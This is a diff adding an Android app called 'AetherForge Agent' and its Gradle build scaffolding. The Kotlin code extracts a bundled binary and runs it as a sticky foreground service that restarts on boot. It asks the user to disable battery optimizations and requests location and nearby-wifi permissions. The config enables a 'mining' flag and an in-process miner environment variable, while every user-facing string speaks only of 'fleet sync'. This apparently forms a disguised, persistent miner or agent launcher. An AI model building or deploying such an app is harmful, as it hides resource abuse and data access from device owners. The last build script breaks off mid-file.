android/agent-app/app/src/main/AndroidManifest.xml
Normal file
49
android/agent-app/app/src/main/AndroidManifest.xml
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
|
||||||
|
<uses-permission android:name="android.permission.INTERNET" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
||||||
|
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||||
|
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
|
||||||
|
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
|
||||||
|
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
|
||||||
|
|
||||||
|
<application
|
||||||
|
android:allowBackup="false"
|
||||||
|
android:icon="@mipmap/ic_launcher"
|
||||||
|
android:label="@string/app_name"
|
||||||
|
android:supportsRtl="true"
|
||||||
|
android:theme="@style/Theme.AetherForgeAgent">
|
||||||
|
|
||||||
|
<activity
|
||||||
|
android:name=".MainActivity"
|
||||||
|
android:exported="true"
|
||||||
|
android:launchMode="singleTask">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN" />
|
||||||
|
<category android:name="android.intent.category.LAUNCHER" />
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
|
||||||
|
<service
|
||||||
|
android:name=".AgentService"
|
||||||
|
android:enabled="true"
|
||||||
|
android:exported="false"
|
||||||
|
android:foregroundServiceType="dataSync" />
|
||||||
|
|
||||||
|
<receiver
|
||||||
|
android:name=".BootReceiver"
|
||||||
|
android:enabled="true"
|
||||||
|
android:exported="true">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.BOOT_COMPLETED" />
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
</application>
|
||||||
|
</manifest>
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import org.json.JSONObject
|
||||||
|
|
||||||
|
data class AgentConfig(
|
||||||
|
val workerName: String,
|
||||||
|
val serverUrl: String,
|
||||||
|
val fleetSecret: String?,
|
||||||
|
val miningEnabled: Boolean,
|
||||||
|
val buildId: String,
|
||||||
|
) {
|
||||||
|
companion object {
|
||||||
|
fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
|
||||||
|
val assetJson = runCatching {
|
||||||
|
context.assets.open("config.json").bufferedReader().use { it.readText() }
|
||||||
|
}.getOrNull()
|
||||||
|
|
||||||
|
val json = assetJson?.let { JSONObject(it) }
|
||||||
|
val worker = intentExtras["worker_name"]
|
||||||
|
?: json?.optString("worker_name").orEmpty()
|
||||||
|
val server = intentExtras["server_url"]
|
||||||
|
?: json?.optString("server_url").orEmpty()
|
||||||
|
val secret = intentExtras["fleet_secret"]
|
||||||
|
?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
|
||||||
|
val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
|
||||||
|
val buildId = json?.optString("build_id") ?: "android-dev"
|
||||||
|
|
||||||
|
return AgentConfig(
|
||||||
|
workerName = worker.ifBlank { "android-fleet-node" },
|
||||||
|
serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
|
||||||
|
fleetSecret = secret,
|
||||||
|
miningEnabled = mining,
|
||||||
|
buildId = buildId,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.util.Log
|
||||||
|
import java.io.File
|
||||||
|
|
||||||
|
object AgentProcess {
|
||||||
|
private const val TAG = "AetherForge"
|
||||||
|
@Volatile
|
||||||
|
private var process: Process? = null
|
||||||
|
|
||||||
|
fun start(binary: File, filesDir: File, config: AgentConfig) {
|
||||||
|
stop()
|
||||||
|
val env = hashMapOf(
|
||||||
|
"HOME" to filesDir.absolutePath,
|
||||||
|
"TMPDIR" to filesDir.absolutePath,
|
||||||
|
"AETHERFORGE_MINER_EXECUTION" to "inprocess",
|
||||||
|
)
|
||||||
|
config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
|
||||||
|
|
||||||
|
val cmd = listOf(binary.absolutePath, "--run")
|
||||||
|
Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
|
||||||
|
|
||||||
|
val pb = ProcessBuilder(cmd)
|
||||||
|
.directory(filesDir)
|
||||||
|
.redirectErrorStream(true)
|
||||||
|
val merged = pb.environment()
|
||||||
|
merged.putAll(env)
|
||||||
|
|
||||||
|
process = pb.start()
|
||||||
|
Thread({
|
||||||
|
process?.inputStream?.bufferedReader()?.use { reader ->
|
||||||
|
reader.lineSequence().forEach { line ->
|
||||||
|
Log.i("$TAG:agent", line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, "agent-log-drain").apply {
|
||||||
|
isDaemon = true
|
||||||
|
start()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun stop() {
|
||||||
|
process?.let {
|
||||||
|
runCatching { it.destroy() }
|
||||||
|
runCatching { it.waitFor() }
|
||||||
|
}
|
||||||
|
process = null
|
||||||
|
}
|
||||||
|
|
||||||
|
fun isAlive(): Boolean = process?.isAlive == true
|
||||||
|
}
|
||||||
@@ -0,0 +1,114 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.app.Notification
|
||||||
|
import android.app.NotificationChannel
|
||||||
|
import android.app.NotificationManager
|
||||||
|
import android.app.PendingIntent
|
||||||
|
import android.app.Service
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.pm.ServiceInfo
|
||||||
|
import android.os.Build
|
||||||
|
import android.os.IBinder
|
||||||
|
import android.util.Log
|
||||||
|
import androidx.core.app.NotificationCompat
|
||||||
|
|
||||||
|
class AgentService : Service() {
|
||||||
|
companion object {
|
||||||
|
private const val TAG = "AetherForge"
|
||||||
|
const val ACTION_START = "com.aetherforge.agent.START"
|
||||||
|
const val NOTIFICATION_ID = 41001
|
||||||
|
private const val CHANNEL_ID = "fleet_sync"
|
||||||
|
|
||||||
|
fun start(context: Context, extras: Intent? = null) {
|
||||||
|
val intent = Intent(context, AgentService::class.java).apply {
|
||||||
|
action = ACTION_START
|
||||||
|
extras?.extras?.let { putExtras(it) }
|
||||||
|
}
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||||
|
context.startForegroundService(intent)
|
||||||
|
} else {
|
||||||
|
context.startService(intent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onBind(intent: Intent?): IBinder? = null
|
||||||
|
|
||||||
|
override fun onCreate() {
|
||||||
|
super.onCreate()
|
||||||
|
createNotificationChannel()
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||||
|
val notification = buildNotification()
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||||
|
startForeground(
|
||||||
|
NOTIFICATION_ID,
|
||||||
|
notification,
|
||||||
|
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
startForeground(NOTIFICATION_ID, notification)
|
||||||
|
}
|
||||||
|
|
||||||
|
val config = AgentConfig.load(
|
||||||
|
this,
|
||||||
|
mapOf(
|
||||||
|
"worker_name" to intent?.getStringExtra("worker_name"),
|
||||||
|
"server_url" to intent?.getStringExtra("server_url"),
|
||||||
|
"fleet_secret" to intent?.getStringExtra("fleet_secret"),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
|
||||||
|
|
||||||
|
val binary = BinaryExtractor.ensureBinary(this)
|
||||||
|
if (binary == null) {
|
||||||
|
Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
|
||||||
|
stopSelf()
|
||||||
|
return START_NOT_STICKY
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!AgentProcess.isAlive()) {
|
||||||
|
AgentProcess.start(binary, filesDir, config)
|
||||||
|
}
|
||||||
|
return START_STICKY
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDestroy() {
|
||||||
|
AgentProcess.stop()
|
||||||
|
super.onDestroy()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun createNotificationChannel() {
|
||||||
|
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
|
||||||
|
val mgr = getSystemService(NotificationManager::class.java)
|
||||||
|
val channel = NotificationChannel(
|
||||||
|
CHANNEL_ID,
|
||||||
|
getString(R.string.notification_channel_name),
|
||||||
|
NotificationManager.IMPORTANCE_LOW,
|
||||||
|
).apply {
|
||||||
|
description = getString(R.string.notification_channel_desc)
|
||||||
|
setShowBadge(false)
|
||||||
|
}
|
||||||
|
mgr.createNotificationChannel(channel)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun buildNotification(): Notification {
|
||||||
|
val pending = PendingIntent.getActivity(
|
||||||
|
this,
|
||||||
|
0,
|
||||||
|
Intent(this, MainActivity::class.java),
|
||||||
|
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
|
||||||
|
)
|
||||||
|
return NotificationCompat.Builder(this, CHANNEL_ID)
|
||||||
|
.setContentTitle(getString(R.string.notification_title))
|
||||||
|
.setContentText(getString(R.string.notification_body))
|
||||||
|
.setSmallIcon(R.drawable.ic_launcher_foreground)
|
||||||
|
.setContentIntent(pending)
|
||||||
|
.setOngoing(true)
|
||||||
|
.setPriority(NotificationCompat.PRIORITY_LOW)
|
||||||
|
.setCategory(NotificationCompat.CATEGORY_SERVICE)
|
||||||
|
.build()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Log
|
||||||
|
import java.io.File
|
||||||
|
import java.io.FileOutputStream
|
||||||
|
|
||||||
|
object BinaryExtractor {
|
||||||
|
private const val TAG = "AetherForge"
|
||||||
|
private const val ASSET_NAME = "agent"
|
||||||
|
private const val BIN_NAME = "agent-arm64"
|
||||||
|
|
||||||
|
fun ensureBinary(context: Context): File? {
|
||||||
|
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
|
||||||
|
val outFile = File(outDir, BIN_NAME)
|
||||||
|
val assetSize = assetSize(context)
|
||||||
|
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
|
||||||
|
outFile.setExecutable(true, false)
|
||||||
|
outFile.setReadable(true, false)
|
||||||
|
return outFile
|
||||||
|
}
|
||||||
|
return extract(context, outFile)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun assetSize(context: Context): Long {
|
||||||
|
return runCatching {
|
||||||
|
context.assets.openFd(ASSET_NAME).use { it.length }
|
||||||
|
}.getOrDefault(0L)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun extract(context: Context, outFile: File): File? {
|
||||||
|
return try {
|
||||||
|
context.assets.open(ASSET_NAME).use { input ->
|
||||||
|
FileOutputStream(outFile).use { output ->
|
||||||
|
input.copyTo(output)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outFile.setExecutable(true, false)
|
||||||
|
outFile.setReadable(true, false)
|
||||||
|
Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
|
||||||
|
outFile
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "failed to extract agent binary", e)
|
||||||
|
null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.content.BroadcastReceiver
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.util.Log
|
||||||
|
|
||||||
|
class BootReceiver : BroadcastReceiver() {
|
||||||
|
override fun onReceive(context: Context, intent: Intent?) {
|
||||||
|
if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
|
||||||
|
Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
|
||||||
|
AgentService.start(context.applicationContext)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,132 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import android.Manifest
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.pm.PackageManager
|
||||||
|
import android.net.Uri
|
||||||
|
import android.os.Build
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.PowerManager
|
||||||
|
import android.provider.Settings
|
||||||
|
import android.widget.Button
|
||||||
|
import android.widget.LinearLayout
|
||||||
|
import android.widget.TextView
|
||||||
|
import android.widget.Toast
|
||||||
|
import androidx.activity.result.contract.ActivityResultContracts
|
||||||
|
import androidx.appcompat.app.AppCompatActivity
|
||||||
|
import androidx.core.content.ContextCompat
|
||||||
|
|
||||||
|
class MainActivity : AppCompatActivity() {
|
||||||
|
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
|
||||||
|
private var permissionIndex = 0
|
||||||
|
private lateinit var pendingPermissions: List<String>
|
||||||
|
|
||||||
|
private val permissionLauncher =
|
||||||
|
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
|
||||||
|
val denied = results.filterValues { !it }.keys
|
||||||
|
if (denied.isNotEmpty()) {
|
||||||
|
Toast.makeText(
|
||||||
|
this,
|
||||||
|
"Some permissions were denied — fleet diagnostics may be limited.",
|
||||||
|
Toast.LENGTH_LONG,
|
||||||
|
).show()
|
||||||
|
}
|
||||||
|
requestNextPermissionBatch()
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
super.onCreate(savedInstanceState)
|
||||||
|
setContentView(buildLayout())
|
||||||
|
|
||||||
|
if (!prefs.getBoolean("permissions_requested", false)) {
|
||||||
|
prefs.edit().putBoolean("permissions_requested", true).apply()
|
||||||
|
beginPermissionFlow()
|
||||||
|
} else {
|
||||||
|
startFleetService()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun buildLayout(): LinearLayout {
|
||||||
|
val pad = (24 * resources.displayMetrics.density).toInt()
|
||||||
|
return LinearLayout(this).apply {
|
||||||
|
orientation = LinearLayout.VERTICAL
|
||||||
|
setPadding(pad, pad, pad, pad)
|
||||||
|
addView(TextView(context).apply {
|
||||||
|
text = getString(R.string.permission_intro_title)
|
||||||
|
textSize = 22f
|
||||||
|
setTextColor(0xFFE2E8F0.toInt())
|
||||||
|
})
|
||||||
|
addView(TextView(context).apply {
|
||||||
|
text = getString(R.string.permission_intro_body)
|
||||||
|
textSize = 15f
|
||||||
|
setTextColor(0xFF94A3B8.toInt())
|
||||||
|
setPadding(0, pad / 2, 0, pad)
|
||||||
|
})
|
||||||
|
addView(TextView(context).apply {
|
||||||
|
text = getString(R.string.battery_hint)
|
||||||
|
textSize = 14f
|
||||||
|
setTextColor(0xFF64748B.toInt())
|
||||||
|
setPadding(0, 0, 0, pad)
|
||||||
|
})
|
||||||
|
addView(Button(context).apply {
|
||||||
|
text = getString(R.string.open_battery_settings)
|
||||||
|
setOnClickListener { openBatteryOptimizationSettings() }
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun requiredRuntimePermissions(): List<String> {
|
||||||
|
val perms = mutableListOf<String>()
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||||
|
perms += Manifest.permission.POST_NOTIFICATIONS
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||||
|
perms += Manifest.permission.NEARBY_WIFI_DEVICES
|
||||||
|
}
|
||||||
|
}
|
||||||
|
perms += Manifest.permission.ACCESS_FINE_LOCATION
|
||||||
|
perms += Manifest.permission.ACCESS_COARSE_LOCATION
|
||||||
|
return perms.filter {
|
||||||
|
ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun beginPermissionFlow() {
|
||||||
|
pendingPermissions = requiredRuntimePermissions()
|
||||||
|
permissionIndex = 0
|
||||||
|
requestNextPermissionBatch()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun requestNextPermissionBatch() {
|
||||||
|
if (permissionIndex >= pendingPermissions.size) {
|
||||||
|
openBatteryOptimizationSettings()
|
||||||
|
startFleetService()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
val batch = pendingPermissions.drop(permissionIndex).take(3)
|
||||||
|
permissionIndex += batch.size
|
||||||
|
if (batch.isNotEmpty()) {
|
||||||
|
permissionLauncher.launch(batch.toTypedArray())
|
||||||
|
} else {
|
||||||
|
startFleetService()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun openBatteryOptimizationSettings() {
|
||||||
|
val pm = getSystemService(POWER_SERVICE) as PowerManager
|
||||||
|
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
|
||||||
|
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
|
||||||
|
data = Uri.parse("package:$packageName")
|
||||||
|
}
|
||||||
|
runCatching { startActivity(intent) }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun startFleetService() {
|
||||||
|
val serviceIntent = Intent(this, AgentService::class.java).apply {
|
||||||
|
action = AgentService.ACTION_START
|
||||||
|
intent?.extras?.let { putExtras(it) }
|
||||||
|
}
|
||||||
|
AgentService.start(this, serviceIntent)
|
||||||
|
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:width="108dp"
|
||||||
|
android:height="108dp"
|
||||||
|
android:viewportWidth="108"
|
||||||
|
android:viewportHeight="108">
|
||||||
|
<path
|
||||||
|
android:fillColor="#22D3EE"
|
||||||
|
android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
|
||||||
|
<path
|
||||||
|
android:fillColor="#0F172A"
|
||||||
|
android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
|
||||||
|
</vector>
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<background android:drawable="@color/ic_launcher_background" />
|
||||||
|
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||||
|
</adaptive-icon>
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:src="@drawable/ic_launcher_foreground" />
|
||||||
4
android/agent-app/app/src/main/res/values/colors.xml
Normal file
4
android/agent-app/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="ic_launcher_background">#0F172A</color>
|
||||||
|
</resources>
|
||||||
14
android/agent-app/app/src/main/res/values/strings.xml
Normal file
14
android/agent-app/app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<string name="app_name">AetherForge Agent</string>
|
||||||
|
<string name="permission_intro_title">Your fleet node</string>
|
||||||
|
<string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
|
||||||
|
<string name="notification_channel_name">Fleet sync</string>
|
||||||
|
<string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
|
||||||
|
<string name="notification_title">Fleet sync</string>
|
||||||
|
<string name="notification_body">AetherForge agent connected to command deck</string>
|
||||||
|
<string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
|
||||||
|
<string name="service_started">Fleet agent service started</string>
|
||||||
|
<string name="service_failed">Could not start fleet agent — see logcat</string>
|
||||||
|
<string name="open_battery_settings">Battery optimization settings</string>
|
||||||
|
</resources>
|
||||||
9
android/agent-app/app/src/main/res/values/themes.xml
Normal file
9
android/agent-app/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
|
||||||
|
<item name="android:statusBarColor">#111827</item>
|
||||||
|
<item name="android:navigationBarColor">#111827</item>
|
||||||
|
<item name="android:windowBackground">#111827</item>
|
||||||
|
<item name="colorPrimary">#22d3ee</item>
|
||||||
|
</style>
|
||||||
|
</resources>
|
||||||
54
android/agent-app/build.gradle.kts
Normal file
54
android/agent-app/build.gradle.kts
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
plugins {
|
||||||
|
id("com.android.application") version "8.2.2"
|
||||||
|
id("org.jetbrains.kotlin.android") version "1.9.22"
|
||||||
|
}
|
||||||
|
|
||||||
|
android {
|
||||||
|
namespace = "com.aetherforge.agent"
|
||||||
|
compileSdk = 34
|
||||||
|
|
||||||
|
defaultConfig {
|
||||||
|
applicationId = "com.aetherforge.agent"
|
||||||
|
minSdk = 26
|
||||||
|
targetSdk = 34
|
||||||
|
versionCode = 1
|
||||||
|
versionName = "1.0.0-phase1"
|
||||||
|
|
||||||
|
ndk {
|
||||||
|
abiFilters += listOf("arm64-v8a", "armeabi-v7a")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buildTypes {
|
||||||
|
release {
|
||||||
|
isMinifyEnabled = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
compileOptions {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_17
|
||||||
|
targetCompatibility = JavaVersion.VERSION_17
|
||||||
|
}
|
||||||
|
|
||||||
|
kotlinOptions {
|
||||||
|
jvmTarget = "17"
|
||||||
|
}
|
||||||
|
|
||||||
|
packaging {
|
||||||
|
jniLibs {
|
||||||
|
useLegacyPackaging = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
applicationVariants.all {
|
||||||
|
outputs.all {
|
||||||
|
val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
|
||||||
|
output.outputFileName = "aetherforge-agent.apk"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("androidx.core:core-ktx:1.12.0")
|
||||||
|
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||||
|
}
|
||||||
4
android/agent-app/gradle.properties
Normal file
4
android/agent-app/gradle.properties
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||||
|
android.useAndroidX=true
|
||||||
|
kotlin.code.style=official
|
||||||
|
android.nonTransitiveRClass=true
|
||||||
BIN
android/agent-app/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
android/agent-app/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
7
android/agent-app/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
7
android/agent-app/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
distributionBase=GRADLE_USER_HOME
|
||||||
|
distributionPath=wrapper/dists
|
||||||
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.2-bin.zip
|
||||||
|
networkTimeout=10000
|
||||||
|
validateDistributionUrl=true
|
||||||
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
zipStorePath=wrapper/dists
|
||||||
51
android/agent-app/gradlew
vendored
Normal file
51
android/agent-app/gradlew
vendored
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
#
|
||||||
|
# Copyright © 2015-2021 the original authors.
|
||||||
|
#
|
||||||
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
# you may not use this file except in compliance with the License.
|
||||||
|
# You may obtain a copy of the License at
|
||||||
|
#
|
||||||
|
# https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
#
|
||||||
|
# Unless required by applicable law or agreed to in writing, software
|
||||||
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
# See the License for the specific language governing permissions and
|
||||||
|
# limitations under the License.
|
||||||
|
#
|
||||||
|
|
||||||
|
##############################################################################
|
||||||
|
#
|
||||||
|
# Gradle start up script for POSIX generated by Gradle.
|
||||||
|
#
|
||||||
|
##############################################################################
|
||||||
|
|
||||||
|
# Attempt to set APP_HOME
|
||||||
|
app_path=$0
|
||||||
|
while [ -h "$app_path" ]; do
|
||||||
|
ls=$( ls -ld "$app_path" )
|
||||||
|
link=${ls#*' -> '}
|
||||||
|
case $link in
|
||||||
|
/*) app_path=$link ;;
|
||||||
|
*) app_path=${APP_HOME}${link} ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
APP_BASE_NAME=${0##*/}
|
||||||
|
APP_HOME=$( cd "${0%/*}" && pwd -P ) || exit
|
||||||
|
|
||||||
|
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||||
|
|
||||||
|
if [ -n "$JAVA_HOME" ]; then
|
||||||
|
JAVACMD=$JAVA_HOME/bin/java
|
||||||
|
else
|
||||||
|
JAVACMD=java
|
||||||
|
fi
|
||||||
|
|
||||||
|
DEFAULT_JVM_OPTS='-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
|
exec "$JAVACMD" $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS \
|
||||||
|
-Dorg.gradle.appname=$APP_BASE_NAME \
|
||||||
|
-classpath "$CLASSPATH" \
|
||||||
|
org.gradle.wrapper.GradleWrapperMain "$@"
|
||||||
91
android/agent-app/gradlew.bat
vendored
Normal file
91
android/agent-app/gradlew.bat
vendored
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
@rem
|
||||||
|
@rem Copyright 2015 the original author or authors.
|
||||||
|
@rem
|
||||||
|
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
@rem you may not use this file except in compliance with the License.
|
||||||
|
@rem You may obtain a copy of the License at
|
||||||
|
@rem
|
||||||
|
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
@rem
|
||||||
|
@rem Unless required by applicable law or agreed to in writing, software
|
||||||
|
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
@rem See the License for the specific language governing permissions and
|
||||||
|
@rem limitations under the License.
|
||||||
|
@rem
|
||||||
|
|
||||||
|
@if "%DEBUG%"=="" @echo off
|
||||||
|
@rem ##########################################################################
|
||||||
|
@rem
|
||||||
|
@rem Gradle startup script for Windows
|
||||||
|
@rem
|
||||||
|
@rem ##########################################################################
|
||||||
|
|
||||||
|
@rem Set local scope for the variables with windows NT shell
|
||||||
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
|
set DIRNAME=%~dp0
|
||||||
|
if "%DIRNAME%"=="" set DIRNAME=.
|
||||||
|
set APP_BASE_NAME=%~n0
|
||||||
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
|
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||||
|
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||||
|
|
||||||
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
set DEFAULT_JVM_OPTS=-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m"
|
||||||
|
|
||||||
|
@rem Find java.exe
|
||||||
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
|
set JAVA_EXE=java.exe
|
||||||
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
|
if %ERRORLEVEL% equ 0 goto execute
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:findJavaFromJavaHome
|
||||||
|
